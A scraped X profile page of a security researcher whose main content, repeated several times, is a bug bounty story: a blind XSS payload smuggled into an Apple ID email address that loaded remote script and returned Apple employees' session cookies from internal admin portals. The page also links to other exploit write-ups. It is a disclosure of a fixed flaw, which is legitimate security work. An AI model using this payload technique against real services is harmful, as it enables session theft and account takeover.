![samwcyo's tweet photo. This tweet reminded me of a time when I was hacking on Apple's bug bounty program. I found, of all things, a base64 encoded Harry Potter quote on an internal iCloud account debug and administration page. This is the first time I'm sharing this, as more than 90 days have passed since the vulnerability was fixed.
When Apple introduced iCloud+, they added a feature where you could add custom email domains to your account as secondary emails. As with all web hacking attempts, I tried sneaking in a blind XSS payload in my custom email that would pass the (sometimes hard to get right) email RegEx.
After a while, I found a trick! I was able to add a secondary email with a smuggled blind XSS payload to my Apple account with the following payload:
sam+'></script><script/src=//domain/payload.js>'@[mydomain].com
By wrapping the script tag around single quotes, it entered a different parsing region and allowed me to register an email address with a blind XSS payload. This account was special, because it became an official Apple ID that could be used to authenticate to all Apple services and used with the "Sign in with Apple" SSO service.
After registering the malicious email, I authenticated to as many Apple systems as possible in an attempt to cast a wide net searching for blind XSS vulnerabilities. None of the Apple systems were expecting such an odd email address, so I caused hundreds of client-side and server-side errors which were all being reported back to Apple developers.
One of these developers began personally investigating the issue. Why was this user running into so many errors? Why does their email address look so weird?
They pulled up my iCloud account on multiple internal Apple systems, triggering my payload on multiple authenticated portals where a malicious attacker could've exfiltrated account information for any other Apple ID. Every time the payload was triggered, I would receive a copy of the employee's page they were viewing, their session cookies, and information about their web browser.
After a while, I received a super interesting alert! Someone had triggered my payload from an internal Apple system that looked to be used to as an account management endpoint via the following URL:
[internal].apple.com/accountservice/[id]/show/memQuery
The screenshot of the system sent back was super interesting. It appeared to be a very old Apple ID maintenance and administration page which let Apple employees deprovision and modify Apple ID accounts.
Near the bottom of the page was a very odd string. It looked to be a JavaScript comment accidentally written in the HTML of the page with a base64 encoded string and the name of someone named Josy. How weird?
I went to decode the string and received the following back:
cc0un+R1ddle~~If you have to ask, you'll never know. If you know, you need only ask.
How cryptic! I Googled it, and found this:
For a company like Apple who is so particular about branding, it felt very rewarding to have discovered a bit of an easter egg that an employee probably hid away some number of years ago for fun. Had this vulnerability not been discovered, an attacker could've abused this to access and modify anyone's Apple account.
After reporting this vulnerability, Apple paid me a reward through their bug bounty program and promptly fixed the email injection vulnerability. Thanks for reading and happy holidays!](https://pbs.twimg.com/media/GCIhdj9W4AEpWJ0.png)
![samwcyo's tweet photo. This tweet reminded me of a time when I was hacking on Apple's bug bounty program. I found, of all things, a base64 encoded Harry Potter quote on an internal iCloud account debug and administration page. This is the first time I'm sharing this, as more than 90 days have passed since the vulnerability was fixed.
When Apple introduced iCloud+, they added a feature where you could add custom email domains to your account as secondary emails. As with all web hacking attempts, I tried sneaking in a blind XSS payload in my custom email that would pass the (sometimes hard to get right) email RegEx.
After a while, I found a trick! I was able to add a secondary email with a smuggled blind XSS payload to my Apple account with the following payload:
sam+'></script><script/src=//domain/payload.js>'@[mydomain].com
By wrapping the script tag around single quotes, it entered a different parsing region and allowed me to register an email address with a blind XSS payload. This account was special, because it became an official Apple ID that could be used to authenticate to all Apple services and used with the "Sign in with Apple" SSO service.
After registering the malicious email, I authenticated to as many Apple systems as possible in an attempt to cast a wide net searching for blind XSS vulnerabilities. None of the Apple systems were expecting such an odd email address, so I caused hundreds of client-side and server-side errors which were all being reported back to Apple developers.
One of these developers began personally investigating the issue. Why was this user running into so many errors? Why does their email address look so weird?
They pulled up my iCloud account on multiple internal Apple systems, triggering my payload on multiple authenticated portals where a malicious attacker could've exfiltrated account information for any other Apple ID. Every time the payload was triggered, I would receive a copy of the employee's page they were viewing, their session cookies, and information about their web browser.
After a while, I received a super interesting alert! Someone had triggered my payload from an internal Apple system that looked to be used to as an account management endpoint via the following URL:
[internal].apple.com/accountservice/[id]/show/memQuery
The screenshot of the system sent back was super interesting. It appeared to be a very old Apple ID maintenance and administration page which let Apple employees deprovision and modify Apple ID accounts.
Near the bottom of the page was a very odd string. It looked to be a JavaScript comment accidentally written in the HTML of the page with a base64 encoded string and the name of someone named Josy. How weird?
I went to decode the string and received the following back:
cc0un+R1ddle~~If you have to ask, you'll never know. If you know, you need only ask.
How cryptic! I Googled it, and found this:
For a company like Apple who is so particular about branding, it felt very rewarding to have discovered a bit of an easter egg that an employee probably hid away some number of years ago for fun. Had this vulnerability not been discovered, an attacker could've abused this to access and modify anyone's Apple account.
After reporting this vulnerability, Apple paid me a reward through their bug bounty program and promptly fixed the email injection vulnerability. Thanks for reading and happy holidays!](https://pbs.twimg.com/media/GCIenfGWsAA_RVm.png)
![samwcyo's tweet photo. This tweet reminded me of a time when I was hacking on Apple's bug bounty program. I found, of all things, a base64 encoded Harry Potter quote on an internal iCloud account debug and administration page. This is the first time I'm sharing this, as more than 90 days have passed since the vulnerability was fixed.
When Apple introduced iCloud+, they added a feature where you could add custom email domains to your account as secondary emails. As with all web hacking attempts, I tried sneaking in a blind XSS payload in my custom email that would pass the (sometimes hard to get right) email RegEx.
After a while, I found a trick! I was able to add a secondary email with a smuggled blind XSS payload to my Apple account with the following payload:
sam+'></script><script/src=//domain/payload.js>'@[mydomain].com
By wrapping the script tag around single quotes, it entered a different parsing region and allowed me to register an email address with a blind XSS payload. This account was special, because it became an official Apple ID that could be used to authenticate to all Apple services and used with the "Sign in with Apple" SSO service.
After registering the malicious email, I authenticated to as many Apple systems as possible in an attempt to cast a wide net searching for blind XSS vulnerabilities. None of the Apple systems were expecting such an odd email address, so I caused hundreds of client-side and server-side errors which were all being reported back to Apple developers.
One of these developers began personally investigating the issue. Why was this user running into so many errors? Why does their email address look so weird?
They pulled up my iCloud account on multiple internal Apple systems, triggering my payload on multiple authenticated portals where a malicious attacker could've exfiltrated account information for any other Apple ID. Every time the payload was triggered, I would receive a copy of the employee's page they were viewing, their session cookies, and information about their web browser.
After a while, I received a super interesting alert! Someone had triggered my payload from an internal Apple system that looked to be used to as an account management endpoint via the following URL:
[internal].apple.com/accountservice/[id]/show/memQuery
The screenshot of the system sent back was super interesting. It appeared to be a very old Apple ID maintenance and administration page which let Apple employees deprovision and modify Apple ID accounts.
Near the bottom of the page was a very odd string. It looked to be a JavaScript comment accidentally written in the HTML of the page with a base64 encoded string and the name of someone named Josy. How weird?
I went to decode the string and received the following back:
cc0un+R1ddle~~If you have to ask, you'll never know. If you know, you need only ask.
How cryptic! I Googled it, and found this:
For a company like Apple who is so particular about branding, it felt very rewarding to have discovered a bit of an easter egg that an employee probably hid away some number of years ago for fun. Had this vulnerability not been discovered, an attacker could've abused this to access and modify anyone's Apple account.
After reporting this vulnerability, Apple paid me a reward through their bug bounty program and promptly fixed the email injection vulnerability. Thanks for reading and happy holidays!](https://pbs.twimg.com/media/GCIZnZzWMAAeg8K.jpg)
Olivia
Online
phakeobj
@phakeobj
Security Researcher; Vulnerability Research and Exploit Development
Mastodon:
0x7f000001
Joined November 2010
294 Following
449 Followers
386 Posts
Our full technical analysis of the #wp2shell (CVE-2026-63030) is now available to read, including background on how we used GPT-5.6 Sol Ultra to support the research. Read the full story below 👇
DNGerousLINK: A Deep Dive into WhatsApp 0-Click Exploits on iOS and Samsung Devices by @DarkNavyOrg
https://t.co/EqyqWInZZZ
@p0sixninja Google dropped this just a few days after y oh tweet https://t.co/vEstXsgasl 🥸
@idofrizler מגניב, קצת כמו לקחת את הפילוסופיה של debian לגבי backport-ים ל-security fixes ולהכליל אותה.
This is, hands down, one of the weirdest attributions I've ever seen:
"[N/A][415810136] High CVE-2025-4664: Insufficient policy enforcement in Loader. Source: X post from @slonser_ on 2025-05-05"
👇
Today I used a technique that’s probably not widely known in the community.
In what cases could code like this lead to a vulnerability? ->
Jailbreak and kernel debugging is coming to new iPhones! (Apple A12-A16 SoC’s < iOS 16.6)
Full Chain Baseband Exploits.
Details of the baseband and baseband-to-AP pivot vulnerabilities, exploitable for RCE, chained together at the same time
▶️Part 1: https://t.co/dpuDI33JhF
▶️Part 2:https://t.co/rJajpOgMdZ
▶️Part 3: https://t.co/aZVUj8GY6c
@TaszkSecLabs @kutyacica
This tweet reminded me of a time when I was hacking on Apple's bug bounty program. I found, of all things, a base64 encoded Harry Potter quote on an internal iCloud account debug and administration page. This is the first time I'm sharing this, as more than 90 days have passed since the vulnerability was fixed.
When Apple introduced iCloud+, they added a feature where you could add custom email domains to your account as secondary emails. As with all web hacking attempts, I tried sneaking in a blind XSS payload in my custom email that would pass the (sometimes hard to get right) email RegEx.
After a while, I found a trick! I was able to add a secondary email with a smuggled blind XSS payload to my Apple account with the following payload:
sam+'></script><script/src=//domain/payload.js>'@[mydomain].com
By wrapping the script tag around single quotes, it entered a different parsing region and allowed me to register an email address with a blind XSS payload. This account was special, because it became an official Apple ID that could be used to authenticate to all Apple services and used with the "Sign in with Apple" SSO service.
After registering the malicious email, I authenticated to as many Apple systems as possible in an attempt to cast a wide net searching for blind XSS vulnerabilities. None of the Apple systems were expecting such an odd email address, so I caused hundreds of client-side and server-side errors which were all being reported back to Apple developers.
One of these developers began personally investigating the issue. Why was this user running into so many errors? Why does their email address look so weird?
They pulled up my iCloud account on multiple internal Apple systems, triggering my payload on multiple authenticated portals where a malicious attacker could've exfiltrated account information for any other Apple ID. Every time the payload was triggered, I would receive a copy of the employee's page they were viewing, their session cookies, and information about their web browser.
After a while, I received a super interesting alert! Someone had triggered my payload from an internal Apple system that looked to be used to as an account management endpoint via the following URL:
[internal].apple.com/accountservice/[id]/show/memQuery
The screenshot of the system sent back was super interesting. It appeared to be a very old Apple ID maintenance and administration page which let Apple employees deprovision and modify Apple ID accounts.
Near the bottom of the page was a very odd string. It looked to be a JavaScript comment accidentally written in the HTML of the page with a base64 encoded string and the name of someone named Josy. How weird?
I went to decode the string and received the following back:
cc0un+R1ddle~~If you have to ask, you'll never know. If you know, you need only ask.
How cryptic! I Googled it, and found this:
For a company like Apple who is so particular about branding, it felt very rewarding to have discovered a bit of an easter egg that an employee probably hid away some number of years ago for fun. Had this vulnerability not been discovered, an attacker could've abused this to access and modify anyone's Apple account.
After reporting this vulnerability, Apple paid me a reward through their bug bounty program and promptly fixed the email injection vulnerability. Thanks for reading and happy holidays!
![samwcyo's tweet photo. This tweet reminded me of a time when I was hacking on Apple's bug bounty program. I found, of all things, a base64 encoded Harry Potter quote on an internal iCloud account debug and administration page. This is the first time I'm sharing this, as more than 90 days have passed since the vulnerability was fixed.
When Apple introduced iCloud+, they added a feature where you could add custom email domains to your account as secondary emails. As with all web hacking attempts, I tried sneaking in a blind XSS payload in my custom email that would pass the (sometimes hard to get right) email RegEx.
After a while, I found a trick! I was able to add a secondary email with a smuggled blind XSS payload to my Apple account with the following payload:
sam+'></script><script/src=//domain/payload.js>'@[mydomain].com
By wrapping the script tag around single quotes, it entered a different parsing region and allowed me to register an email address with a blind XSS payload. This account was special, because it became an official Apple ID that could be used to authenticate to all Apple services and used with the "Sign in with Apple" SSO service.
After registering the malicious email, I authenticated to as many Apple systems as possible in an attempt to cast a wide net searching for blind XSS vulnerabilities. None of the Apple systems were expecting such an odd email address, so I caused hundreds of client-side and server-side errors which were all being reported back to Apple developers.
One of these developers began personally investigating the issue. Why was this user running into so many errors? Why does their email address look so weird?
They pulled up my iCloud account on multiple internal Apple systems, triggering my payload on multiple authenticated portals where a malicious attacker could've exfiltrated account information for any other Apple ID. Every time the payload was triggered, I would receive a copy of the employee's page they were viewing, their session cookies, and information about their web browser.
After a while, I received a super interesting alert! Someone had triggered my payload from an internal Apple system that looked to be used to as an account management endpoint via the following URL:
[internal].apple.com/accountservice/[id]/show/memQuery
The screenshot of the system sent back was super interesting. It appeared to be a very old Apple ID maintenance and administration page which let Apple employees deprovision and modify Apple ID accounts.
Near the bottom of the page was a very odd string. It looked to be a JavaScript comment accidentally written in the HTML of the page with a base64 encoded string and the name of someone named Josy. How weird?
I went to decode the string and received the following back:
cc0un+R1ddle~~If you have to ask, you'll never know. If you know, you need only ask.
How cryptic! I Googled it, and found this:
For a company like Apple who is so particular about branding, it felt very rewarding to have discovered a bit of an easter egg that an employee probably hid away some number of years ago for fun. Had this vulnerability not been discovered, an attacker could've abused this to access and modify anyone's Apple account.
After reporting this vulnerability, Apple paid me a reward through their bug bounty program and promptly fixed the email injection vulnerability. Thanks for reading and happy holidays!](https://pbs.twimg.com/media/GCIhuaCWAAAhZm0.jpg)
after months of hardwork 👀
Check it out, it's tmp.0ut Volume 3!
https://t.co/Gm9erN8hTJ
OMG WTF
ChatGPT exploits a buffer overflow 😳
Opening up a .c file with the extension registered to Visual Studio
Lol https://t.co/5QMhvs3kGI
Linux: UAF read: SO_PEERCRED and SO_PEERGROUPS race with listen() (and connect()) https://t.co/ncdBTKUaQG
Most Popular Users
Elon Musk 
@elonmusk
241.5M followers
Barack Obama
@barackobama
119M followers
Cristiano Ronaldo
@cristiano
113.8M followers
Donald J. Trump
@realdonaldtrump
111.8M followers
Narendra Modi
@narendramodi
107.2M followers
Rihanna
@rihanna
98.6M followers
NASA
@nasa
92.4M followers
Justin Bieber
@justinbieber
91.7M followers
KATY PERRY
@katyperry
89.7M followers
Taylor Swift
@taylorswift13
83.6M followers
Lady Gaga
@ladygaga
75.1M followers
Virat Kohli
@imvkohli
72.8M followers
Kim Kardashian
@kimkardashian
70.7M followers
YouTube
@youtube
68.8M followers
Neymar Jr
@neymarjr
65.8M followers
Bill Gates
@billgates
64.9M followers
Selena Gomez
@selenagomez
62.7M followers
The Ellen Show
@theellenshow
62.3M followers
CNN
@cnn
61.8M followers
X
@x
60.7M followers